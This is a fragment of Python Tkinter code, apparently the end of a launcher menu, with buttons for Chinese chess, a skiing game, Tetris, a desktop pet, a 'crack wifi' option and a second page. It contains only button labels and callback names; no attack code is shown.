btn = tk.Button(win,text = '象棋',bg = 'green' , width = 30, height = 1,command = q)
btn.pack()
btn = tk.Button(win,text = '滑雪游戏',bg = 'green' , width = 30, height = 1,command = hua)
btn.pack()
btn = tk.Button(win,text = '俄罗斯方块',bg = 'green' , width = 30, height = 1,command = els)
btn.pack()
btn = tk.Button(win,text = '桌面宠物',bg = 'green' , width = 30, height = 1,command = z)
btn.pack()
btn = tk.Button(win,text = '破解wifi',bg = 'green' , width = 30, height = 1,command = wifi)
btn.pack()
btn = tk.Button(win,text = '第二页',bg = 'green' , width = 30, height = 1,command = dier)
btn.pack()
win.mainloop()
